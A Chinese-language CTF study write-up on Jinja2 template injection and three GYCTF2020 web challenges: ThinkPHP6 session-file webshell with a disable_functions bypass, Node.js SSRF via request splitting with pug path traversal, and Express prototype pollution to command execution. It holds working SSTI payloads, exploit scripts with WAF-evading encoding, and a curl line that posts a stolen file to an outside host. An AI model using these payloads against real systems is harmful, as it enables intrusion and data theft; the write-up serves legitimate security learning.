{{x.__init__.__globals__['__builtins__']['__tropmi__'[::-1]]('so'[::-1]).__dict__['nepop'[::-1]]('txt.galf_eht_si_siht/ tac'[::-1]).read()}}
{%endif%}
{%endfor%}
回顾
在本地搞一个SSTI测试场景,输入PIN后测试,测试完正常关闭了服务
过了会又要测试个东西,发现重启服务后居然不用再次输入PIN就能进入dubug模式
检查发现和cookie有关,输入正确PIN后得到了一个cookie,带这个cookie访问就不用再次输入PIN了
然后这里记录一个简便的读取文件的payload,缺点是因为有很多个builtins所以会回显很多次
{% for c in [].__class__.__base__.__subclasses__() %}
{% if '__builtins__' in c.__init__.__globals__ %}
{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
{% endif %}
{% endfor %}
哈哈其实就省略了一点,其实是担心常规些的比如下面这个,可能找不到想要的类,其实都差不多
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == '_ModuleLock' %}
{% for b in c.__init__.__globals__ %}
{%if b =='__builtins__' %}
{% print(c.__init__.__globals__['__builtins__']['open']('test.txt').read()) %}
{%endif%}
{% endfor %}
{% endif %}
{% endfor %}
推荐SSTI学习文章:(失效的话去study文件夹找SSTI注入语句总结)
https://blog.csdn.net/weixin_43536759/article/details/105066445
[GYCTF2020]EasyThinking
知识点补充
https://blog.csdn.net/mochu7777777/article/details/105160796
题目

解
根据题目猜测可能又是thinkphp漏洞,扫后台
看一下/robots.txt
User-agent: *
Disallow: /static/secretkey.txt
再看一下/static/secretkey.txt

确定是tp6框架
不过做题时有个小插曲,不小心多打了个/,访问了//static/secretkey.txt,回显
you-will-never-guess
???
豆包说这是tp6路径解析bug,双斜杠可以绕过路由,直接读静态文件
再看看www.zip泄露,好多文件,而且没看到什么明显有用的
那我们直接看tp6漏洞
修改session

这里要注意,本题需要在登录页面修改session
已知默认写入 runtime/session 目录下,文件名会添加sess_前缀,尝试访问/runtime/session/sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php
回显a:1:{s:3:"UID";i:2;}
本题是将post参数key的值写入文件,也就是搜索框

phpinfo可以执行,但是Warning: shell_exec() has been disabled for security reasons
应该是有disable_function限制
写马连接蚁剑,终端执行啥命令都是ret=127命令不存在
找到根目录下flag文件为空,readflag文件经验证是linux程序文件,而且终端没法执行,没招了
复习下disable_function的绕过
在Pr0的训练场里有多解,这里先尝试用最便捷的方式
蚁剑插件,不同模式挨个试,最后PHP7 Backtrace UAF可以成功rce
cd /
./readflag

最后贴一些常规方法的exp
https://github.com/mm0r1/exploits/tree/master
[GYCTF2020]Node Game
前置知识点
https://xz.aliyun.com/news/2574#toc-2
题目

解
提示nodejs和pug
两个链接都点一下
import urllib.parse
import requests
url = "http://25c1707b-8925-480e-a1c9-5f093f7d7ea5.node4.buuoj.cn:81/"
payload = ''' HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Connection: keep-alive
cache-control: no-cache
Host: 127.0.0.1
Content-Length: 292
----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="flll.pug"
Content-Type: /../template
doctype html
html
head
style
include ../../../../../../../flag.txt
----------------------------919695033422425209299810--
GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get(url + "core?q=" + urllib.parse.quote(payload))
print(r.text)

不知道该干嘛了,看眼wp
再回到源码
file = path.join(__dirname + '/template/'+ action +'.pug');
var html = pug.renderFile(file);
res.send(html);
/?action= 这里存在一个类似文件读取的功能
/?action=aaa时,回显

查询/app/template/aaa.pug
法一
我们可以尝试利用路径穿越上传一个.pug文件然后用这个文件获取结果(假设文件会被解析)
贴一个脚本(其他有的脚本跑出来会502或者503,不清楚为啥)
https://kinseyy.github.io/2024/10/11/GYCTF2020-Node-Game-1/
import urllib.parse
import requests
payload = ''' HTTP/1.1
Host: x
Connection: keep-alive
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive
{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template
doctype html
html
head
style
include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''
GET /flag HTTP/1.1
Host: http://37ebda60-a853-4c03-88b1-5820f816c8af.node5.buuoj.cn:81/
Connection: close
x:'''
#`Host: x` 中的 `x` 只是一个占位符,实际应该被替换为目标服务器的域名或 IP 地址,用来指明请求的目标主机。
payload = payload.format(len(body)+10,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
session = requests.Session()
session.trust_env = False
session.get('http://37ebda60-a853-4c03-88b1-5820f816c8af.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://37ebda60-a853-4c03-88b1-5820f816c8af.node5.buuoj.cn:81/?action=lmonstergg')
print(response.text)
我们倒着看,先看对payload的处理
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
ord(c)- 获取字符的Unicodehex(ord(c))- 转换为十六进制字符串,如'0x41'(字符 'A')[2:]- 去掉0x前缀,得到纯十六进制值.zfill(2)- 确保至少2位,前面补零'0xff' + ...- 在前面拼接'0xff'int(..., 16)- 将这个字符串解释为十六进制数转换为十进制整数chr(...)- 将这个十进制整数转换回字符''.join()- 将所有转换后的字符拼接
利用拆分攻击,确保绕过waf
再看paylaod本身,由三个http请求拼接而成(其实不是简单拼接,有“包含”的感觉,没感觉到不用急,继续往下看)
第一次请求:SSRF漏洞利用请求
基本信息

请求完整内容
GET /core?q=HTTP%2F1.1%0D%0AHost%3A+x%0D%0AConnection%3A
+keep-alive%0D%0A%0D%0APOST+%2Ffile_upload+HTTP%2F1.
1%0D%0AContent-Type%3A+multipart%2Fform-data%3B
+boundary%3D----WebKitFormBoundaryO9LPoNAg9lWRUItA%0D%0ACont
ent-Length%3A+230%0D%0Acache-control%3A
+no-cache%0D%0AHost%3A+127.0.0.1%0D%0AConnection%3A
+keep-alive
+%0D%0A%0D%0A------WebKitFormBoundaryO9LPoNAg9lWRUItA%0D%0AC
ontent-Disposition%3A+form-data%3B+name%3D%22file%22%3B
+filename%3D%22lmonstergg.pug%22%0D%0AContent-Type%3A+../
template%0D%0A%0D%0Adoctype+html%0D%0Ahtml%0D%0A++head%0D%0A
++++style%0D%0A++++++include+../../../../../../../flag.
txt%0D%0A------WebKitFormBoundaryO9LPoNAg9lWRUItA--%0D%0A%0D
%0A%0D%0AGET+%2Fflag+HTTP%2F1.1%0D%0AHost%3A
+http%3A%2F%2F37ebda60-a853-4c03-88b1-5820f816c8af.node5.
buuoj.cn%3A81%2F%0D%0AConnection%3A+close%0D%0Ax%3A HTTP/1.1
Host: 37ebda60-a853-4c03-88b1-5820f816c8af.node5.buuoj.cn:81
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
第二次请求:本地文件上传请求
基本信息

请求完整内容
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: 230
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive
------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file";
filename="lmonstergg.pug"
Content-Type: ../template
doctype html
html
head
style
include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
第三次请求:模板渲染执行请求
基本信息

请求完整内容
GET /?action=lmonstergg HTTP/1.1
Host: 37ebda60-a853-4c03-88b1-5820f816c8af.node5.buuoj.cn:81
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
有没有那种“包含”的感觉,第一个http包的内容是第二个包,有我们发给/core路由,被靶机接收后,把第二个http包发给/file_upload路由。
很巧,星盟用这道题讲的node.js的ssrf,可以听一下
法二
出题人的exp
https://blog.5am3.com/2020/02/11/ctf-node1/#自己出的-node-game
# exp.py
import requests
import sys
payloadRaw = """x HTTP/1.1
POST /file_upload HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?action=upload
Upgrade-Insecure-Requests: 1
-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="5am3_get_flag.pug"
Content-Type: ../template
- global.process.mainModule.require('child_process').execSync('evalcmd')
-----------------------------12837266501973088788260782942--
"""
def getParm(payload):
payload = payload.replace(" ","%C4%A0")
payload = payload.replace("\n","%C4%8D%C4%8A")
payload = payload.replace("\"","%C4%A2")
payload = payload.replace("'","%C4%A7")
payload = payload.replace("`","%C5%A0")
payload = payload.replace("!","%C4%A1")
payload = payload.replace("+","%2B")
payload = payload.replace(";","%3B")
payload = payload.replace("&","%26")
# Bypass Waf
payload = payload.replace("global","%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC")
payload = payload.replace("process","%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("mainModule","%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5")
payload = payload.replace("require","%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5")
payload = payload.replace("root","%C5%B2%C5%AF%C5%AF%C5%B4")
payload = payload.replace("child_process","%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("exec","%C5%A5%C5%B8%C5%A5%C5%A3")
return payload
def run(url,cmd):
payloadC = payloadRaw.replace("evalcmd",cmd)
urlC = url+"/core?q="+getParm(payloadC)
requests.get(urlC)
requests.get(url+"/?action=5am3_get_flag").text
if __name__ == '__main__':
targetUrl = sys.argv[1]
cmd = sys.argv[2]
print run(targetUrl,cmd)
# python exp.py http://127.0.0.1:8081 "curl eval.com -X POST -d `cat /flag.txt`"
这个我实际跑出来也是502...
[GYCTF2020]Ez_Express
参考文章
https://www.cnblogs.com/LEOGG321/p/13448463.html
https://blog.csdn.net/scrawman/article/details/122664989
题目

解
让我用ADMIN登录,但不知道密码,扫一下目录
www.zip泄露,看一下
index.js
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) { //遍历b的所有属性
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
router.get('/login', function (req, res) {
res.render('login');
});
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;
居然是nodejs原型链污染!之前没学过耶.....
紧急补充知识点
【星盟安全】Web系列教程 第3节 Nodejs 原型链污染(更新)
简单来说, 原型链污染 就是通过修改JavaScript对象的原型(prototype)来影响所有继承自该原型的对象。
在JavaScript中,每个对象都有一个 proto 属性,指向它的原型对象。当我们访问一个对象的属性时,如果对象本身没有这个属性,就会沿着原型链向上查找。
原型链污染的原理 :如果我们能够修改一个对象的 proto 属性,就可以影响所有继承自该原型的对象。
简单了解完之后我们开始代码审计,先大体看看每个路由
确定目标是/info路由下的模板渲染ssti
router.get('/info', function (req, res) {
res.render('index', data={'user':res.outputFunctionName});
})
我们往前看参数从哪来
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});
我们看到他现在是undefined,而且没有其他地方对其操作
那就要考虑会不会用原型链污染对其处理(没想到也不要紧,积累吧,反正我没想到...)
大概到这不知道再往前怎么走了
再正着看,我们首先要登录
这里有一篇文章讲js大小写的特性
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
注册admın注意不是admin

ADMIN应该就是被模板渲染的内容
于是抓/action的包,Content-Type设为application/json
payload
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
然后返回首页刷新下载flag

再倒着讲讲这么做的原因
让payload好看一点
{
"lua":"a",
"__proto__":{
"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"
},
"Submit":""
}
__proto__拿到原型,修改outputFunctionName属性,使污染后在模板渲染时造成ssti
我们看到action路由(也就是登录进去后的提交)
router.post('/action', function (req, res) {
// 必须是 ADMIN 用户才能进入
if(req.session.user.user!="ADMIN"){...}
// 这里执行 clone → merge
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
发现执行了clone,找一下他是什么
const clone = (a) => {
return merge({}, a);
}
再找一下merge是什么
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
也就是遍历req.body的所有属性,都合并到一个{}空对象里
(req.body存放前端 POST 提交过来的所有表单 / JSON 数据)
又因为我们使用的是__proto__,就直接污染到了Object 原型
所以!
所有对象的outputFunctionName属性都变成了我们恶意构造的ssti内容
最后讲下payload为什么这个格式,我们看到

这里提交内容是两个参数(这个就是所谓的req.body)我们要在req.body造成我们的原型链污染(毕竟是把这里的属性合并给空对象),我们要新增一个属性(post参数)
再回看merge方法中 a[attr] = b[attr]
所以我们传入
"__proto__": { 恶意代码 }
程序就会执行:
a["__proto__"] = 恶意代码
这行代码的真实含义是:
a 的原型 = 恶意代码
因为 a 是 {} 空对象,它的原型就是 Object.prototype
于是!
污染成功
Object.prototype.outputFunctionName = 恶意代码
再补充一句原型链污染时一般要用json格式
JSON 标准允许键名是 __proto__,其他语法可能会有其他解析

浙公网安备 33010602011771号